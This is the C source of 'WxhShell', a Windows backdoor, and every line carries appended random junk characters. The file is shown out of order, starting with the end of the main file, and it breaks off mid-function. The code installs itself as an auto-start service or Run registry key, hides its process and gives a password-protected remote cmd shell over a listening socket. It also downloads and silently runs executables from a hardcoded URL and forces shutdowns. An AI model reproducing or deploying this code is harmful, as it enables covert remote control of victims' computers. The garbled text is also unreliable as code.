  // 关机 I/-w65J]  
  case 'd': { +#db_k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z`:^e1vG  
    if(Boot(SHUTDOWN)) gGdYh.K&e5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!i'Tbfn  
    else { wkpVX*DfRE  
    closesocket(wsh); Mc3h  R0  
    ExitThread(0); *U^I `j[u  
    } BH*]OXW\  
    break; v%7JZ<I'A  
    } IguG0 3:.N  
  // 获取shell @dKf]&h%%  
  case 's': { :8L61d2(  
    CmdShell(wsh); gV44PI6h  
    closesocket(wsh); 9*Twx&  
    ExitThread(0); m1; <T@  
    break; k 5r*?Os  
  } v;qL? _:=c  
  // 退出 vHe.+XY  
  case 'x': { .MPOUo/e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O xaua  
    CloseIt(wsh); 4wD^?S!p  
    break; Q)X\VQcgj  
    } &J@ZF<Ib  
  // 离开 yWk:u 5  
  case 'q': { C)^\?DH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h?tV>x/Fu  
    closesocket(wsh); VzM@DM]=~  
    WSACleanup(); vgZPDf|  
    exit(1); ghQsS|)p.  
    break; M6Z`Pwv];  
        } acZ|H  
  } J; Xz'0  
  } J 2~B<=V  
l+X^x%EA  
  // 提示信息 ct/THq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2m}]z.w#  
} EMH}VigR  
  } tl^;iE!-  
c+XR  
  return; W]7?;#Hpk  
} /!8:/7r+W  
F qyJ*W\1  
// shell模块句柄 dsoRPX']=  
int CmdShell(SOCKET sock) BU\NBvX$  
{  cJ{P,K  
STARTUPINFO si; xx#Ef@bS  
ZeroMemory(&si,sizeof(si)); $4) g uG)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m,fr?d/;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qnc S&  
PROCESS_INFORMATION ProcessInfo; E0Xu9IW/A  
char cmdline[]="cmd"; S?WUSx*N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [beuDZA  
  return 0; zMg^2{0L  
} ~2 ;y4%K  
= $Yk8,  
// 自身启动模式 OVK(:{PwS  
int StartFromService(void) Raqr VC  
{ {lw ec"{  
typedef struct udr'~,R  
{ KiHAm|,  
  DWORD ExitStatus;  7cQw?C  
  DWORD PebBaseAddress; ht!:e>z&4  
  DWORD AffinityMask; goWt!,&f  
  DWORD BasePriority; .SFwjriZ  
  ULONG UniqueProcessId; R dzIb-  
  ULONG InheritedFromUniqueProcessId; V:npcKpu  
}   PROCESS_BASIC_INFORMATION; :P'5_YSi  
IiU|@f~k  
PROCNTQSIP NtQueryInformationProcess; $S=OmdgR  
cv&hT.1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z`6KX93  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xBd% e-r  
]sIFK  
  HANDLE             hProcess; ]z@]Fi33Y  
  PROCESS_BASIC_INFORMATION pbi; O$\N]#  
c9K\K~bk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jx,s.Z0@7,  
  if(NULL == hInst ) return 0; &$ 9bC 't6  
U_04QwhK7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KJ |1zCM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Va:jMN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <7h'MNf&  
hTqJDP"&F  
  if (!NtQueryInformationProcess) return 0; c73ZEd+j  
iWsIc\!+,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OTm"Iwzu@  
  if(!hProcess) return 0; Ds$;{wl#x  
F U%b"gP^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6 >2! kM7  
zj}efv<e  
  CloseHandle(hProcess); w}0PtzOe  
Z!6G (zz:>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Y$1OA8  
if(hProcess==NULL) return 0; Il[WXt<S  
3x$#L!VuU  
HMODULE hMod; x-EAu 3=V  
char procName[255]; jk?(W2c#{  
unsigned long cbNeeded; <aS1bQgaU  
Ro69woU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -A~<IyPt  
F.6SX (x  
  CloseHandle(hProcess); #YV;Gp(2h  
CK%W +";  
if(strstr(procName,"services")) return 1; // 以服务启动 6y5~Kh6  
UJ+JVj   
  return 0; // 注册表启动 p<NgT1"{  
} 'L7.a'  
@A%`\Ea%  
// 主模块 iWEYSi\)n  
int StartWxhshell(LPSTR lpCmdLine) `W=JX2I  
{ eAEVpC2  
  SOCKET wsl; UbXz`i  
BOOL val=TRUE; t `oP;  
  int port=0; ]y/:#^M+  
  struct sockaddr_in door; +-i@R%  
s4\2lBU?  
  if(wscfg.ws_autoins) Install(); jA'+>`@  
0o`o'ZV=c  
port=atoi(lpCmdLine); !cZIoz  
Uk#1PcPd  
if(port<=0) port=wscfg.ws_port; `3Y+:!q  
>3/<goXk7  
  WSADATA data; Spb'jAKj'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S45jY=)z  
m;|I}{r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dcsd//E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W3#L!&z_wK  
  door.sin_family = AF_INET;  K!j2AP3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wh7nli7f_  
  door.sin_port = htons(port); s5 BV8 M  
~PHG5?X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c'C2V9t  
closesocket(wsl); |gNOv;l  
return 1; b?l\Q Mvi  
} G4~J+5m k  
GOjri  
  if(listen(wsl,2) == INVALID_SOCKET) { )deuB5kz  
closesocket(wsl); )Lq FZ~B  
return 1; yWy9IWI["  
} }_S]!AWz  
  Wxhshell(wsl); E^G=  
  WSACleanup(); BRT2=}A  
(pl OV)  
return 0; V3S`8VI  
tBt\&{=|D  
} Gvwel!6  
H'0S;A+Y6  
// 以NT服务方式启动 !nVuvsbv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }j QwP3eY  
{ QH eUpJ/^  
DWORD   status = 0; ?:,j9:m?  
  DWORD   specificError = 0xfffffff; "Y6 f.rB  
V_:/#G]jeG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &F)lvtt|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *@< jJP4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {chl+au*l  
  serviceStatus.dwWin32ExitCode     = 0; g~]FI  
  serviceStatus.dwServiceSpecificExitCode = 0; (,k=mF  
  serviceStatus.dwCheckPoint       = 0; ?V+=uTCq  
  serviceStatus.dwWaitHint       = 0; UaB!,vs3st  
aO{k-44y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'k hJZ:  
  if (hServiceStatusHandle==0) return; L3S,*LnA  
e |!i1e!  
status = GetLastError(); 8Vp"}(Q  
  if (status!=NO_ERROR) N gr7E  
{ D<:9pLD(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1]"b.[P>  
    serviceStatus.dwCheckPoint       = 0; rTcH~s D`  
    serviceStatus.dwWaitHint       = 0; 4r %NtXAa  
    serviceStatus.dwWin32ExitCode     = status; <D?`*#K  
    serviceStatus.dwServiceSpecificExitCode = specificError; uKplPze?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DY%E&Vd:h  
    return; }Q*8QV  
  } :%{8lanO  
;G ?_^ 0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z^b1i`v  
  serviceStatus.dwCheckPoint       = 0; R lv|DED$  
  serviceStatus.dwWaitHint       = 0; )7f:hg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wh7$')@  
} JA&w"2X*E  
%*,'&S  
// 处理NT服务事件,比如:启动、停止 eD(#zfP/+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #R &F  
{ %',. K)IR  
switch(fdwControl) $?7}4u,  
{ \ FA7 +Q  
case SERVICE_CONTROL_STOP: *v6'I-#  
  serviceStatus.dwWin32ExitCode = 0; v6FYlKU@8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <X:7$v6T|  
  serviceStatus.dwCheckPoint   = 0; '_2~8w  
  serviceStatus.dwWaitHint     = 0; >qOhzbAH{<  
  { VE!h!`<k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _d: l1jD  
  } l+@NjZGm<  
  return; 3S Dw-k  
case SERVICE_CONTROL_PAUSE: ]kr OPM/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =6ojkTk  
  break; zg|]Ic  
case SERVICE_CONTROL_CONTINUE: 2$|WXYY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y?Xs Z  
  break; /" ,]J  
case SERVICE_CONTROL_INTERROGATE: R/iXO~/"J  
  break; SH"O<c Dp  
}; jZ)1]Q2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {'JoVJKv  
} 0q81H./3  
A^G%8 )\  
// 标准应用程序主函数 \S _ycn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (@]{=q<  
{ ~G"5!,J  
Rc @p!Xi  
// 获取操作系统版本 rZ<@MV|d  
OsIsNt=GetOsVer(); rB-&'#3%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ujY+ {  
wPOQy ~:  
  // 从命令行安装 hH>t  
  if(strpbrk(lpCmdLine,"iI")) Install(); wTG6>l]H  
x5s Yo\  
  // 下载执行文件 P)4SrqW_  
if(wscfg.ws_downexe) { b:oB $E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7D<M\l8G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5G|(od3  
} x)s`j(pYC  
Que-  
if(!OsIsNt) { YajUdpJi  
// 如果时win9x,隐藏进程并且设置为注册表启动 //xxSk  
HideProc(); |?g k%g  
StartWxhshell(lpCmdLine); (wkeo{lx  
} K^> +"  
else ki39$A'8  
  if(StartFromService()) D >$9(  
  // 以服务方式启动 jCkYzQUPz  
  StartServiceCtrlDispatcher(DispatchTable); aVEg%8  
else ;BsyN[bF  
  // 普通方式启动 }Til $TT%H  
  StartWxhshell(lpCmdLine); x^&D8&4^  
; &$djP  
return 0; rz5AIe>Hm  
} Cjdw@v0;  
6cDe_v|,  
O1V s!  
s"s^rC  
=========================================== ,5.ve)/dE  
`*^ f =y  
fnl~0   
%8s$l'Q;  
<;G.(CK@n  
 Q#i[Y?$L  
" DHQavHqbZ  
ly9.2<oz}L  
#include <stdio.h> >La!O~d  
#include <string.h> 1?\G6T  
#include <windows.h> { HHc} 8  
#include <winsock2.h> jt=%oa  
#include <winsvc.h> \b6H4aQii  
#include <urlmon.h> M|xd9kA^  
<'f+ nC=2  
#pragma comment (lib, "Ws2_32.lib") UU~S{!*+L  
#pragma comment (lib, "urlmon.lib") u[k0z!p_ c  
yL{X}:;}  
#define MAX_USER   100 // 最大客户端连接数 (hr*.NS#  
#define BUF_SOCK   200 // sock buffer Fu].%`*xJ  
#define KEY_BUFF   255 // 输入 buffer ):-\TVz~  
06X4mu{  
#define REBOOT     0   // 重启 R <}UT  
#define SHUTDOWN   1   // 关机 A%(t'z  
&?59{B. mD  
#define DEF_PORT   5000 // 监听端口 :(ni/,~Q  
TL'^@Y7X5  
#define REG_LEN     16   // 注册表键长度 g$+ $@~  
#define SVC_LEN     80   // NT服务名长度 j6}/pe*;;T  
O!xul$9  
// 从dll定义API N;gI %6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }&!fT\4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @'P\c   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /r2*le (H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  $I}7EI  
`3GYV|LeQ  
// wxhshell配置信息 3HCH-?U5  
struct WSCFG { <u`m4w  
  int ws_port;         // 监听端口 s 1~&PH^  
  char ws_passstr[REG_LEN]; // 口令 F)XO5CBK  
  int ws_autoins;       // 安装标记, 1=yes 0=no re[v}cB  
  char ws_regname[REG_LEN]; // 注册表键名 *7cc4 wGQ  
  char ws_svcname[REG_LEN]; // 服务名 K FMx(fD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w\SfzJN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {5`=){  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DNwqi"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )/Z% HBn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m}`!FaB #  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nz+k ,  
nymro[@O~  
}; N #C,q&;  
'qoDFR\v  
// default Wxhshell configuration 4+?d0  
struct WSCFG wscfg={DEF_PORT, m6+4}=Cn  
    "xuhuanlingzhe", B\*"rSP\  
    1, ebv"`0K$  
    "Wxhshell", KF!?; q0J  
    "Wxhshell", A*b>@>2  
            "WxhShell Service", wB%N}bi!  
    "Wrsky Windows CmdShell Service", d x52[W  
    "Please Input Your Password: ", +t[i68,%  
  1, <gfkbDP2  
  "http://www.wrsky.com/wxhshell.exe", Lfr>y_i;F  
  "Wxhshell.exe" Ynxzkm S  
    }; ]&+,`1_q  
iC(&U YL  
// 消息定义模块 $e#V^dph  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5,vw%F-m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9S<g2v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZlEQzL~  
char *msg_ws_ext="\n\rExit."; Yl\p*j"Fid  
char *msg_ws_end="\n\rQuit."; .0=VQU  
char *msg_ws_boot="\n\rReboot..."; mssCnr;  
char *msg_ws_poff="\n\rShutdown..."; u"hv _ml  
char *msg_ws_down="\n\rSave to "; SyL:=NZ  
qE:/~Q0  
char *msg_ws_err="\n\rErr!"; 8r{:d i*  
char *msg_ws_ok="\n\rOK!"; BU;o$"L  
xryXO(  
char ExeFile[MAX_PATH]; y*oH"]D  
int nUser = 0; ?hfyQhR  
HANDLE handles[MAX_USER]; QP?eK W9 :  
int OsIsNt; S:F8` Gh  
4arqlz lo  
SERVICE_STATUS       serviceStatus; 5oOF|IYi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "Qci+Qq  
iCX Ki7  
// 函数声明 RvXK?mL4F  
int Install(void); vHmsS\\~9  
int Uninstall(void); nGoQwKIW  
int DownloadFile(char *sURL, SOCKET wsh); K3*8-Be  
int Boot(int flag); )y#~eYn  
void HideProc(void); ;:Kd?Tz$  
int GetOsVer(void); )\3 RR.p  
int Wxhshell(SOCKET wsl); J>w3>8!>7  
void TalkWithClient(void *cs); `2I<V7SF$  
int CmdShell(SOCKET sock); k\/idd[  
int StartFromService(void); 9jkaEn>m^  
int StartWxhshell(LPSTR lpCmdLine); =sFLzAu8  
(6g;FD:"6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,RXfJh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F4X0DRC,G  
_DD.#YB</  
// 数据结构和表定义 G?$0OU  
SERVICE_TABLE_ENTRY DispatchTable[] = p3`odmbN  
{ SSrYFu"  
{wscfg.ws_svcname, NTServiceMain}, 8n2MZ9p]  
{NULL, NULL} u#bd*(  
}; gR#lRA/  
%D_pTD\  
// 自我安装 Bj1{=Pvl  
int Install(void) Or:a\qQ1  
{ /$-Tg)o5i  
  char svExeFile[MAX_PATH]; v{2euOFE  
  HKEY key; +CaA%u  
  strcpy(svExeFile,ExeFile); d(t$riFX}  
Rzj1D:?X@  
// 如果是win9x系统,修改注册表设为自启动 oY(q(W0ze  
if(!OsIsNt) { 99/`23YL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9*&RvsrX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]/cVlpZ{f  
  RegCloseKey(key); N3U.62  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n 97pxD_74  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WAzn`xGxR"  
  RegCloseKey(key); -ufO,tJRLL  
  return 0; l!7O2Ai5  
    } &i{>Li  
  } 3*<?'O7I0  
} 5vSJjhS  
else { &:@)ro CR  
|G(9mnZ1  
// 如果是NT以上系统,安装为系统服务 ba`V`0p-(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .$~zxd#zo  
if (schSCManager!=0) :=cZ,?PQp1  
{ Li2-G  
  SC_HANDLE schService = CreateService Bsc&#  
  ( bw[s<z|LKA  
  schSCManager, ZNN^  
  wscfg.ws_svcname, u|eV'-R)s  
  wscfg.ws_svcdisp, mh7JPbX|  
  SERVICE_ALL_ACCESS, ]38{du  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *wu:fb2[(  
  SERVICE_AUTO_START, !ma%Zk  
  SERVICE_ERROR_NORMAL, 8~@?cy1j!  
  svExeFile, 'Z{_w s  
  NULL, 8p0ZIrD%  
  NULL, G\4*6iw:  
  NULL, l2|[  
  NULL, T=~D>2C  
  NULL _Yqog/sG  
  ); lXnzomU  
  if (schService!=0) sngM4ikhs  
  { Bkaupvv9S  
  CloseServiceHandle(schService); ]Te,m}E  
  CloseServiceHandle(schSCManager); ]8~{C>ch$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y Z.? k4>  
  strcat(svExeFile,wscfg.ws_svcname); -#agWqUM|T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]ML(=7z"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M[1!#Q><!  
  RegCloseKey(key); IizPu4|  
  return 0; ^Ee"w7XjD  
    } a\]g lw\;  
  } =Ul{#R z  
  CloseServiceHandle(schSCManager); I|eYeJ3  
} m6 V L  
} edZhI  
eWw# T^  
return 1; z-g"`w:Lj  
} (;6vT'hE  
uJ@C-/BD!M  
// 自我卸载 _Gb O>'kE  
int Uninstall(void) gAxf5 A_x)  
{ 1Ht&;V  
  HKEY key; kH|cB!?x  
JQ"R%g` 8  
if(!OsIsNt) { g\~n5=-D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8nKb mjM  
  RegDeleteValue(key,wscfg.ws_regname); ?#]wx H,  
  RegCloseKey(key); ?VRf5 Cr-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M:/)|fk  
  RegDeleteValue(key,wscfg.ws_regname); L[rxs[7~  
  RegCloseKey(key); tH^]`6"QUa  
  return 0; M9ACaf@  
  } (5\VOCT>4%  
} JC#M,j2  
} 1/J3 9Y~+  
else { U_.9H _G  
o4F?Rx,L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G W@g  
if (schSCManager!=0) EH~t<  
{ WT_4YM\bz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :SJxG&Pm=~  
  if (schService!=0) lFT` WO  
  { `~;`q  
  if(DeleteService(schService)!=0) { 0CR~ vQf#r  
  CloseServiceHandle(schService); Q XLHQ_V  
  CloseServiceHandle(schSCManager); zNRR('B?  
  return 0; HpGI\s  
  } Zv|TvlyT"  
  CloseServiceHandle(schService); Uw5AHq).  
  } K}a3Bj,  
  CloseServiceHandle(schSCManager); (@nE e?  
} 5SQqE@g%  
} :JD*uu  
Z#znA4;)  
return 1; T6^ H%;G  
} mK_2VZj&  
:ND e<6?u  
// 从指定url下载文件 dK d"2+fH  
int DownloadFile(char *sURL, SOCKET wsh) kPvR ,  
{ J<h! H  
  HRESULT hr; W"[Q=$2<<  
char seps[]= "/"; RTQtXv6mD  
char *token; -F~"W@9r  
char *file; 3Q:HzqG  
char myURL[MAX_PATH]; O;83A  
char myFILE[MAX_PATH]; !HCuae3_  
D\0q lCAs  
strcpy(myURL,sURL); zbgH}6b  
  token=strtok(myURL,seps); V*j1[d  
  while(token!=NULL) Y DWV=/  
  { YQN@;  
    file=token; )Rc  
  token=strtok(NULL,seps); ~pWV[oUD  
  } PW QRy  
["N_t:9I  
GetCurrentDirectory(MAX_PATH,myFILE); C.N#y`g  
strcat(myFILE, "\\"); LCMZw6p  
strcat(myFILE, file); <Gw>}/-^  
  send(wsh,myFILE,strlen(myFILE),0); reI4!,x  
send(wsh,"...",3,0); .9VhDrCK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |y.^F3PE  
  if(hr==S_OK) Boj#r ,x  
return 0; wY xk[)&Y  
else * &O4b3R  
return 1; <s wfYT!N  
kK%@cIXS3  
} CAbR+ y  
q5#6PYIq  
// 系统电源模块 tFvXVfml  
int Boot(int flag) 6^NL>|?  
{ 8k9Yoht  
  HANDLE hToken; FT[of(g^  
  TOKEN_PRIVILEGES tkp; Y{7)$'At  
mPJ@hr%3  
  if(OsIsNt) { s0\}Q=s[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =Ohro '   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 32z2c:G  
    tkp.PrivilegeCount = 1; B1 Y   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0u?Vn N<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )z!#8s  
if(flag==REBOOT) { b"pN;v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9r=yfc!cS  
  return 0; )Nt'Z*K*  
} 2OZ<t@\OY  
else { L#MgoBXr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9+"ISXS  
  return 0; 1TlMB  
} GV8`.3DBOF  
  } =<[M$"S7d6  
  else { r8,'LZIz  
if(flag==REBOOT) { 7RCVqc"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4WXr~?Vq9  
  return 0; TH>7XK<90M  
} KmpKyc[  
else { <V1y^EW0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yF@72tK  
  return 0; %(A@=0r#  
} Ti>2N  
} PX >>h}%  
~9Cw5rwH<;  
return 1; 99*QfC  
} >=K~*$&>  
-GZ:}<W 6+  
// win9x进程隐藏模块 zn#lFPj12  
void HideProc(void) -'rb+<v  
{ hh8U/dVk*  
v-&@c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F@<^  
  if ( hKernel != NULL ) "sJ@_lp  
  { }e-D&U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ffG1QvC|M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cpu|tK.t  
    FreeLibrary(hKernel); F5 7Kr5X  
  } 3(3-#MD0  
N[&(e d=  
return; |\T!,~  
} v(`5exWV  
of/' 9Tj  
// 获取操作系统版本 >uR;^B5m  
int GetOsVer(void) UHS{X~CS e  
{ p+}eP|N  
  OSVERSIONINFO winfo; d6ckvD[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =VGRM#+D  
  GetVersionEx(&winfo); >2ny/AK|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O2S{*D={  
  return 1; (".WJXB\  
  else 8V@\$4@b!#  
  return 0; L8?;A9pc()  
} plgiQr #  
pGP$2  
// 客户端句柄模块 u& <NBxY  
int Wxhshell(SOCKET wsl) C j:  
{ 'tY y_  
  SOCKET wsh; C^ZD Uj`  
  struct sockaddr_in client; Bxk2P<d  
  DWORD myID; ofuQ`g1hb  
UQO?hZ!y/.  
  while(nUser<MAX_USER) +?^lnoX  
{ 5!qLJmd=  
  int nSize=sizeof(client); kk ZMoK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] 69z-;  
  if(wsh==INVALID_SOCKET) return 1; I&>5b7Uf  
cdTG ]n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ALt^@|!d  
if(handles[nUser]==0) Hh'o:j(^  
  closesocket(wsh); vPM 2cc/o  
else -5Aqf\  
  nUser++; +t}<e(  
  } @] 3`S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LX7<+`aa  
Am=O-; b'8  
  return 0; I 8 Ls_$[  
} `! _mIh}  
X;d 1@G  
// 关闭 socket vg\fBHzn  
void CloseIt(SOCKET wsh) ?<~P)aVVj  
{ wj9 Hh  
closesocket(wsh); `g'z6~c7n  
nUser--; 5Eu`1f?  
ExitThread(0); Z[9f8/6<b  
} seA=7c5E  
/OeOL3Y  
// 客户端请求句柄 tx]!|x" F  
void TalkWithClient(void *cs) YQaL)t$0  
{ %kL]-Z  
9` G}GU]@}  
  SOCKET wsh=(SOCKET)cs; !uN_<!  
  char pwd[SVC_LEN]; FmhN*ZXr #  
  char cmd[KEY_BUFF]; z6'l" D'h  
char chr[1]; :PP!v!vk  
int i,j; %i@Jw  
~i=5NUE  
  while (nUser < MAX_USER) { X@Yl<9|i  
rQ&F Gb  
if(wscfg.ws_passstr) { )P9&I.a8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~}ba2dU8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g&d tOjM  
  //ZeroMemory(pwd,KEY_BUFF); '/@i} digf  
      i=0; ` W{y  
  while(i<SVC_LEN) { M~-jPY,+  
M (.Up  
  // 设置超时 /igbn  
  fd_set FdRead; A#CGD0T  
  struct timeval TimeOut; xcC^9BAj  
  FD_ZERO(&FdRead); 7jYW3  
  FD_SET(wsh,&FdRead); :+UahwiRD"  
  TimeOut.tv_sec=8; HfA@tZ5q|U  
  TimeOut.tv_usec=0; <%=@Ue  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zN>tSdNkI-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H)NT2@%{P  
Rs53R$PIR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +6\1 d5  
  pwd=chr[0]; 9`5qVM1O{  
  if(chr[0]==0xd || chr[0]==0xa) { qWw{c&{Q],  
  pwd=0; O],]\M{GL  
  break; 7-[^0qS  
  } #& &  
  i++; ;"+]bne~  
    } @mu=7_$U  
W(jP??up  
  // 如果是非法用户,关闭 socket ])mYE }g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5j#XNc)"  
} dPyZzMes=  
G$CI~0Se:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C%;J9(r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e18}`<tW-  
6" |+\  
while(1) { Fes /8*-  
HsAKz]Mq  
  ZeroMemory(cmd,KEY_BUFF); E(0[/N~  
j/w*2+&v  
      // 自动支持客户端 telnet标准   Q#sLIZ8=  
  j=0; laGIu0s {  
  while(j<KEY_BUFF) { xkmqf7w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q|kkdK|N/Y  
  cmd[j]=chr[0]; g:fzf>oQ>p  
  if(chr[0]==0xa || chr[0]==0xd) { H(ds  
  cmd[j]=0; ~19&s~  
  break; 9Xeg &Z|!  
  } THz=_L6  
  j++; IW- BY =C  
    } 1n EW'F  
~\[\S!"  
  // 下载文件 Dt]*M_  
  if(strstr(cmd,"http://")) { $qfNEAmDf\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  H+Se  
  if(DownloadFile(cmd,wsh)) jHBP:c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJF}6yPm@  
  else uDsof?z  
